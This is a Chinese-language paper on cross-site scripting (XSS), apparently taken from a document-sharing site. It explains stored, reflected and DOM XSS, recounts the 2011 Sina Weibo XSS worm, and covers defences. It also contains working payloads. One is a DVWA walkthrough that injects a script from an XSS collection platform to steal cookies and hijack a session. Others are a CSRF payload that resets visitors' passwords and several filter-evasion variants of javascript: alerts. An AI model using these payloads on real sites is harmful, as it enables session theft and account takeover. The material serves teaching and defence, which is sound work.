XSS完整版论文Word文档格式.docx
《XSS完整版论文Word文档格式.docx》由会员分享,可在线阅读,更多相关《XSS完整版论文Word文档格式.docx(28页珍藏版)》请在冰点文库上搜索。
用户提交的变量没有经过完整过滤Html字符或者根本就没有经过过滤就放到了数据库中,一个恶意用户提交的Html代码被其它浏览该网站的用户访问,通过这些Html代码也就间接控制了浏览者的浏览器,就可以做很多的事情,如:
窃取敏感信息、引导访问者的浏览器去访问恶意网站等。
1.6跨站攻击的危害
Cross-SiteScripting(XSS)是一类注入问题,恶意脚本被注入到健康的、可信任的网站。
当一个攻击者通过一个网站应用程序,以浏览器端脚本的形式,给另一端的用户发送恶意代码时,XSS攻击就发生了。
攻击者使用XSS发送恶意脚本给一个不持怀疑态度的用户,用户端的浏览器没法知道脚本可不可信,从而执行该Javascript脚本。
因为浏览器认为该脚本来自于一个可信赖的网站,导致恶意脚本可以访问任何cookies信息、会话令牌、或者其他由浏览器保存的但由那个网站使用的敏感信息,甚至可以修改当前网页内容。
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
1.7跨站攻击的分类
跨站攻击基本可以分为以下几类:
1、持久型XSS,又称存储型XSS。
2、非持久型XSS,又称反射型XSS。
3、DOM-XSS,DOM(文档对象模型)。
持久型的XSS较第二、第三种XSS攻击的危害较大。
1、持久型XSS——最直接的危害类型
持久型XSS(Persistent)又叫做存储XSS(StoredXSS)或I-型XSS,它是指通过提交恶意数据到存储器(比如数据库、文本文件等),Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。
注入的脚本被永久的存储在了目标服务器中,比如数据库、论坛帖子、访问日志、留言评论等,除非数据库被重置或者恶意语句被人工删除。
受害者向服务器请求获取存储的信息时,就获得了这些恶意脚本。
持久型XSS多出现在Web邮箱、BBS、社区等从数据库读出数据的正常页面(比如BBS的某篇帖子中可能就含有恶意代码),由于不需要浏览器提交攻击参数,所以其危害往往大于非持久型XSS。
存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,黑客将包含有恶意代码的数据信息直接写入文章或文章评论中,所有浏览文章或评论的用户,都会在他们客户端浏览器环境中执行插入的恶意代码。
存储型XSS脚本攻击是指Web应用程序会将用户输入的数据信息保存在服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,因此存储型XSS具有较强的稳定性。
攻击过程如下:
● Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
● Charly注意到Bob的站点具有类型C的XSS漏洞。
● Charly发布一个热点信息,吸引其它用户纷纷阅读。
● Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。
2、非持久型XSS——反射型跨站脚本漏洞,最普遍的类型。
非持久型XSS(Non-persistent)又叫做反射XSS(ReflectXSS)或II-型XSS,它是指那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。
注入脚本从网站服务器被反弹回来,比如错误消息、搜索结果、或者任何其他响应(这些响应完全或部分包含了用户在浏览器输入的内容)。
该类型只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。
由于此种类型的跨站代码存在于URL中,所以黑客通常需要通过诱骗或加密变形等方式,比如通过邮件或聊天软件,将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。
当用户被引诱点击恶意链接,提交一个特别构造的表单、或浏览一个恶意站点,注入脚本传送到了脆弱站点并反射给用户的浏览器,浏览器认为该链接来自一个可信的服务器就执行了它。
主要用来窃取cookie。
一般来说,凡是通过URL传入恶意数据的都是非持久型XSS。
攻击过程如下:
● Alice经常浏览某个网站,此网站为Bob所拥有。
Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
● Charly发现Bob的站点包含反射性的XSS漏洞。
● Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
● Alice在登录到Bob的站点后,浏览Charly提供的URL。
● 嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。
此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。
3、DOM-XSS——客户端脚本处理逻辑导致的安全问题
DOM是DocumentObjectModel(文档对象模型)的缩写。
据W3CDOM规范(http:
//www.w3.org/DOM/),DOM是一种与浏览器、平台、语言无关的接口,使得你可以访问页面其他的标准组件。
简单理解,我们把DOM认为是JavaScript输出的页面,基于DOM的跨站脚本漏洞就是出现在JavaScript代码中的漏洞。
DOM型XSS又称0-型xss。
攻击者提交的恶意数据并未显式的包含在web服务器的响应页面中,但会被页面中的JavaScript脚本以变量的形式来访问到,导致浏览器在渲染页面执行JavaScript脚本的过程中,通过DOM操作执行了变量所代表的恶意脚本。
这种也被归类为‘client-sidexss’。
前两类xss攻击中,服务器的响应页面中显式的包含了恶意内容,被归类为‘server-sidexss’。
以下是一段存在DOM类型跨站脚本漏洞的代码:
<
script>
document.write(window.location.search);
/script>
在JavaScript中window.location.search是指URL中?
之后的内容,document.write是将内容输出到页面。
于是,又是一个直接输出到页面的跨站脚本漏洞。
好,来构造攻击URL:
http:
//localhost/test2541.php?
<
script>
alert(123456)<
/script>
但是查看网页源代码,源代码却没变。
这就是DOM,在浏览器的解析中改变页面结构。
这种特性检测DOM的跨站脚本漏洞带来了一点麻烦,因为它不能通过页面源代码来判断漏洞,给自动化漏洞检测带来了挑战。
基于DOM的XSS跨站脚本攻击是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击。
不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的javascriptDOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
1.8跨站攻击的方式
跨站攻击是一种较为简单的攻击模式,在使用中,通常可以划分为以下两种攻击方式。
1、内跨站(来自自身的攻击):
主要指的是利用程序自身的漏洞,构造跨站语句,如:
dvbbs的showerror.asp存在的跨站漏洞。
2、外跨站(来自外部的攻击):
主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。
如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页放在自己的服务器上,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
这一类攻击的威胁相对较低,至少ajax要发起跨站调用是非常困难的(你可能需要hack浏览器)。
2跨站攻击的应用
2.1基本应用
1.网络钓鱼,包括盗取各类用户账号;
2.窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作,如进行不当的投票活动等;
3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4.强制弹出广告页面、刷流量等;
5.网页挂马;
6.进行恶意操作,例如任意篡改页面信息、删除文章等;
7.进行大量的客户端攻击,如DDoS攻击(分布式拒绝服务攻击)攻击;
8.获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
9.控制受害者机器向其他网站发起攻击;
10.结合其他漏洞,如CSRF漏洞,实施进一步作恶;
11.提升用户权限,包括进一步渗透网站;
12.传播跨站脚本蠕虫等;
13.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;
或者利用Java等得到类似的操作。
……
2.2XSS攻击实例
为了搜集用户信息,攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、ActiveX或Flash以欺骗用户。
一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。
每天都有大量的XSS攻击的恶意代码出现。
(一)跨站脚本攻击三部曲
1.HTML注入。
所有HTML注入范例只是注入一个JavaScript弹出式的警告框:
alert
(1)。
2.做坏事。
如果您觉得警告框还不够刺激,当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。
3.诱捕受害者。
(二)跨站脚本攻击事件
“微博病毒”攻击事件
回顾:
2011年6月28日晚,新浪微博出现了一次比较大的XSS攻击事件。
大量用户自动发送诸如:
“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!
范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:
14,开始有大量带V的认证用户中招转发蠕虫
30,某网站中的病毒页面无法访问
32,新浪微博中hellosamy用户无法访问
21:
02,新浪漏洞修补完毕
“微博病毒”攻击事件分析
一、事件经过:
6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。
范冰冰艳照真流出了”“可以监听别人手机的软件”等微博和私信,并自动关注一位名为hellosamy的用户。
很多微博用户在短时间内收到N多条私信,链接都是:
会影响到新浪微博的评论、翻页等基本功能。
涉及攻击包括加关注、发微博、发私信等功能。
事件的效果:
以及
30,中的病毒页面无法访问
影响有多大:
32961(hellosamy在帐号被封前的好友数量)。
新浪声称:
基本定位了这次攻击的原因,微博广场页面有XSS漏洞,被植入了恶意JS脚本。
初步发现Chrome和Safari都没中招。
IE、Firefox未能幸免。
二、采用了什么样的攻击方法
1、利用了新浪微博存在的XSS漏洞;
XSS分两种:
一种是「永久」的,常见的情况是输入框中的问题不进行过滤(striptags),导致script这种危险标签会被显示出来,别人访问这个页面,脚本会被执行。
这种非常严重,类似于今年人人网受到的XSS攻击,当时人人网整个站内信系统崩溃。
第二种是「反射」的,就像这次新浪微博,原因是某些网页的JS编写不是很规范,导致网址可以嵌入一个脚本执行。
一般认为这种危险系数较低,但是由于社交网络的特性,导致本身不高的危险,通过关系网被放大。
2、使用有道提供的短域名服务(这些网址目前已经“无害”);
例如,通过http:
//163.fm/PxZHoxn,将链接指向:
3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:
a.发微博(让更多的人看到这些消息,自然也就有更多人受害);
b.加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
c.发私信,给好友发私信传播这些链接;
分析如下:
脚本
XSS代码:
三、本次蠕虫事件中的代码下载
代码截图如下:
2.3其他实例应用
∙劫持访问
劫持访问就是在恶意脚本中插入诸如<
window.location.href="
"
;
的代码,那么页面就会跳转到XX首页。
劫持访问在持久型和非持久型XSS中都比较常被利用。
持久型XSS中劫持访问的危害不用说大家都清楚,但有人会问非持久型XSS中劫持访问有什么作用呢?
很简单,试想下像,这样的域名下出现非持久型XSS,那么在发送钓鱼链接时就可以通过等域名进行跳转,一般人一看到之类的域名警惕性会下降,也就更容易上当了。
∙盗用cookie实现无密码登录
具体原理上文已经提到,这里做一个具体演示。
由于盗取的cookie需要传回给攻击者,因此往往需要一个服务器来接收盗取的cookie,这也就是xss平台的作用了。
网上的xss平台很多,但动手搭建一个也不难,建议有条件的自己搭建。
首先登录平台后台获取到js脚本地址为http:
//127.0.0.1/XSS/template/default.js,所以我们需要做的是把这段代码植入指定页面。
scripttype="
text/javascript"
src="
//127.0.0.1/XSS/template/default.js"
>
(这里以DVWA渗透测试平台为例)
我们发现网页对于message长度有限制。
审查元素看一下。
发现最大长度有限制,但这仅仅是前端的限制,直接双击修改成更大的数字即可。
再次尝试,没问题,我们已经将脚本植入完毕。
然后就是坐等别的用户访问这个界面。
这时,另一个用户gordonb登录并访问了留言界面,那么他的cookie就会被窃取。
我们可以从xss平台的后台获取到。
拿到cookie之后要登录他的帐号就好办了。
打开登录界面,调出火狐的firebug插件,调至cookie选项卡(注意,如果你的firebug插件没有cookie选项卡,请再安装firecookie插件即可看到)
然后依次点击cookies-createcookie,随后再弹出的界面中填入两个xss平台获取到的cookie,如图
这里注意要把我箭头所指的地方勾上,这是设置cookie有效期的地方,不然会在设置完下一秒cookie就失效。
完成之后再次刷新页面,发现已经不是之前的登录界面了,而是登录后的界面。
至此,一个从cookie窃取到利用的过程就已完成。
∙配合csrf攻击完成恶意请求
先简单解释以下csrf攻击。
Csrf攻击就是在未经你许可的情况下用你的名义发送恶意请求(比如修改密码,银行转账等),下面演示一个用xss配合csrf修改用户密码的例子。
首先对修改用户密码的界面进行抓包。
发现没有对原密码进行校验。
于是一股邪恶的力量油然而生:
要是在xss的恶意脚本中自动提交get请求修改密码的话。
。
说干就干,具体插入语句如下。
src="
//127.0.0.1/test/vulnerabilities/csrf/?
password_new=123456&
password_conf=123456&
Change=Change#"
有人会问,这不是引用脚本吗?
其实不然,本质上这还是发起了一起get请求,因此可以直接使用。
与上例一样,插入到message中,再坐等上钩。
等下一个用户访问该界面时,密码就会被改为123456。
我们再看下访问该页面时的抓包情况,发现每次访问该页面都发送了更改密码的请求
效果看数据库(密码md5加密)
访问了该页面的用户密码都被更改了。
3跨站攻击的防范
3.1防范方法
跨站攻击相对于其他网络攻击而言显得更隐蔽,也更难防范。
有时问题并不出在用户身上,而是由于网站的问题。
即使安装了防火墙,也对跨站攻击无能为力,因此防范跨站攻击需要程序员方面和个人用户两方面入手,以下就可以防范大部分的跨站攻击。
程序员:
1.过滤特殊字符
对网站程序过滤特殊字符,这是防范跨站脚本攻击最为有效和彻底的方法。
在不影响网站程序正常运行的前提下,可在网站程序的表单输入过滤掉"
javascript"
、"
#"
&
等特殊字符,这样就可以防范大部分的跨站攻击。
2.限制输入字符的长度
对一些可以进行跨站攻击的表单对象,可以限制其输入字符的长度。
跨站脚本代码往往较长,如果限制了输入字符的长度,也可以起到很好的防范作用。
3.限制用户上传Flash文件
使用Flash文件进行跨站攻击是防不胜防的。
如果不能验证用户上传的Flash文件的安全性,可以通过限制用户上传Flash文件来阻断Flash跨站攻击。
个人:
1.提高IE浏览器的安全等级
个人用户防范跨站攻击有一定的难度,但仍可以通过设置来降低攻击的概率。
打开IE浏览器,在其中选择工具→Internet选项对话框,切换到安全选项命令,即可打开默认级别按钮,将安全级别设置为"
高"
.同时单击自定义级别按钮,即可打开安全设置对话框,在其中进行详细的设置,将一些不需要运行的脚本禁用,如禁止浏览器运行JavaScript和ActiveX代码。
2.增强安全意识个防范措施
那些插入网页木马的跨站攻击,即使跨站成功,如果运行了网页木马,杀毒软件仍能在最后一些将木马拦截下来。
此外,用户不要轻易打开陌生的网页。
在不同的地方使用不同的密码,即使黑客通过跨站攻击获取了Cookie,并破解出了密码原文,这样你损失的也只是一个账户而已,不至于全军覆没。
3.2XSS的传统防御技术
3.2.1基于特征的防御
XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。
这就给XSS漏洞防御带来了困难:
不可能以单一特征来概括所有XSS攻击。
传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。
对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
这种检测方法的缺陷显而易见:
骇客可以通过插入字符或完全编码的方式躲避检测:
躲避方法1)在javascript中加入多个tab键,得到
IMGSRC="
javascript:
alert('
XSS'
);
>
躲避方法2)在javascript中加入(空格)字符,得到
javascript:
躲避方法3)在javascript中加入(回车)字符,得到
jav
ascript:
躲避方法4)在javascript中的每个字符间加入回车换行符,得到
j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r
\nt\r\n:
躲避方法5)对"
javascript:
)"
采用完全编码,得到
IMGSRC=javascrip?
74:
)>
上述方法都可以很容易的躲避基于特征的检测。
而除了会有大量的漏报外,基于特征的还存在大量的误报可能:
在上面的例子中,对上述某网站这样一个地址,由于包含了关键字“javascript”,也将会触发报警。
3.2.2基于代码修改的防御